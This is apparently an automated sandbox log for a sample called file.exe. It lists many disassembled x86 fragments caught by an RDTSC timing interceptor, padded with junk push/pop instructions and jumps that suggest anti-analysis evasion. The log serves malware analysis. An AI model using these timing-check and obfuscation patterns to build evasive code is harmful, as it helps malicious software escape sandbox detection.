Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613FAF second address: 613FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613FBC second address: 613FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613FC4 second address: 613FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4A8CA674Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613FDD second address: 613FF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA026h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C531C second address: 5C534C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD4A8CA6746h 0x0000000a popad 0x0000000b jns 00007FD4A8CA6748h 0x00000011 jng 00007FD4A8CA6758h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C534C second address: 5C5359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A788 second address: 61A78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A78E second address: 61A7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD4A8FBA016h 0x0000000a jg 00007FD4A8FBA016h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A7A3 second address: 61A7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8CA674Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AC5B second address: 61AC61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EB89 second address: 61EBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4A8CA6758h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F85A second address: 58F860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F860 second address: 58F88D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FD4A8CA6760h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623385 second address: 6233B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Ah 0x00000007 jmp 00007FD4A8FBA026h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f js 00007FD4A8FBA01Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6233B2 second address: 6233B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B077 second address: 59B08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA01Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B08B second address: 59B09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FD4A8CA6746h 0x0000000d je 00007FD4A8CA6746h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B09E second address: 59B0B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FD4A8FBA016h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6222A8 second address: 6222AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5357 second address: 5E535B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E535B second address: 5E539F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dx, A5A9h 0x00000012 lea eax, dword ptr [ebp+1248C0FBh] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FD4A8CA6748h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jo 00007FD4A8CA6746h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E539F second address: 5E53A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E53A4 second address: 5C476F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A8CA6759h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FD4A8CA6754h 0x00000013 nop 0x00000014 xor ch, FFFFFFA1h 0x00000017 movzx edx, dx 0x0000001a call dword ptr [ebp+122D1BA5h] 0x00000020 pushad 0x00000021 push ecx 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop ecx 0x00000025 jp 00007FD4A8CA6752h 0x0000002b jng 00007FD4A8CA6746h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A7F second address: 5E5A85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5A85 second address: 5E5AAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6752h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FD4A8CA674Ch 0x00000012 jbe 00007FD4A8CA6746h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5AAA second address: 5E5AD2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A8FBA018h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d xor cl, FFFFFF9Ah 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD4A8FBA025h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C90 second address: 5E5CAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4A8CA6750h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5CAA second address: 5E5CB4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A8FBA01Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6164 second address: 5E616E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4A8CA674Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E65CD second address: 5C531C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD4A8FBA028h 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007FD4A8FBA033h 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007FD4A8FBA029h 0x0000001a popad 0x0000001b nop 0x0000001c jl 00007FD4A8FBA019h 0x00000022 movzx ecx, si 0x00000025 lea eax, dword ptr [ebp+1248C0FBh] 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FD4A8FBA018h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 call 00007FD4A8FBA020h 0x0000004a jns 00007FD4A8FBA016h 0x00000050 pop edi 0x00000051 push eax 0x00000052 je 00007FD4A8FBA022h 0x00000058 jbe 00007FD4A8FBA01Ch 0x0000005e jl 00007FD4A8FBA016h 0x00000064 mov dword ptr [esp], eax 0x00000067 mov ecx, dword ptr [ebp+1244FE80h] 0x0000006d mov dl, E1h 0x0000006f call dword ptr [ebp+122D1EBBh] 0x00000075 pushad 0x00000076 pushad 0x00000077 jnp 00007FD4A8FBA016h 0x0000007d push esi 0x0000007e pop esi 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622543 second address: 622549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6227A7 second address: 6227BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jne 00007FD4A8FBA01Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6227BC second address: 6227DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6750h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jbe 00007FD4A8CA6746h 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622962 second address: 6229AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4A8FBA025h 0x0000000e pop esi 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FD4A8FBA01Ah 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jnl 00007FD4A8FBA02Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6229AD second address: 6229BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FD4A8CA6746h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B48 second address: 622B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FD4A8FBA022h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B63 second address: 622B68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B68 second address: 622B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B71 second address: 622B7B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A8CA6746h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622F25 second address: 622F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4A8FBA024h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622F43 second address: 622F4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622F4C second address: 622F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626864 second address: 6268B2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4A8CA6746h 0x00000008 jmp 00007FD4A8CA6758h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD4A8CA6751h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d jng 00007FD4A8CA6752h 0x00000023 js 00007FD4A8CA6746h 0x00000029 je 00007FD4A8CA6746h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6268B2 second address: 6268C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007FD4A8FBA016h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6268C0 second address: 6268C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630293 second address: 6302B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4A8FBA023h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630409 second address: 63041C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007FD4A8CA6746h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63058D second address: 630593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630593 second address: 63059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630890 second address: 6308A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA01Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630A5F second address: 630A88 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4A8CA675Fh 0x00000008 jbe 00007FD4A8CA6762h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341DD second address: 6341E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341E3 second address: 6341ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341ED second address: 6341FA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633950 second address: 633956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633956 second address: 63395C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63395C second address: 633968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FD4A8CA6746h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633C26 second address: 633C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638AFC second address: 638B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638C6E second address: 638C9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD4A8FBA042h 0x0000000f jns 00007FD4A8FBA01Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638C9F second address: 638CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8CA674Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638CB1 second address: 638CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638DCF second address: 638DF5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4A8CA6758h 0x00000008 jmp 00007FD4A8CA6752h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FD4A8CA674Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638DF5 second address: 638DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638DF9 second address: 638E21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD4A8CA6746h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD4A8CA6754h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FD4A8CA6746h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638F70 second address: 638F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638F75 second address: 638FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD4A8CA6757h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jmp 00007FD4A8CA674Ch 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638FA7 second address: 638FB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64302A second address: 643055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A8CA6759h 0x00000011 ja 00007FD4A8CA6746h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643055 second address: 643074 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A8FBA016h 0x00000008 jmp 00007FD4A8FBA01Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643074 second address: 643090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6758h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643090 second address: 6430AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007FD4A8FBA01Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FAB second address: 640FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FB1 second address: 640FBB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A8FBA01Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6412D7 second address: 641308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4A8CA6752h 0x0000000c pushad 0x0000000d jmp 00007FD4A8CA6755h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641308 second address: 641313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD4A8FBA016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64193C second address: 641949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FD4A8CA6746h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642A10 second address: 642A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642CE7 second address: 642CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642CEB second address: 642D0D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A8FBA020h 0x00000011 jnc 00007FD4A8FBA016h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642D0D second address: 642D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642D23 second address: 642D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642D27 second address: 642D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647BCA second address: 647BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA020h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647BE6 second address: 647BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647BEC second address: 647C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4A8FBA01Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647C04 second address: 647C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C3DA second address: 64C3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
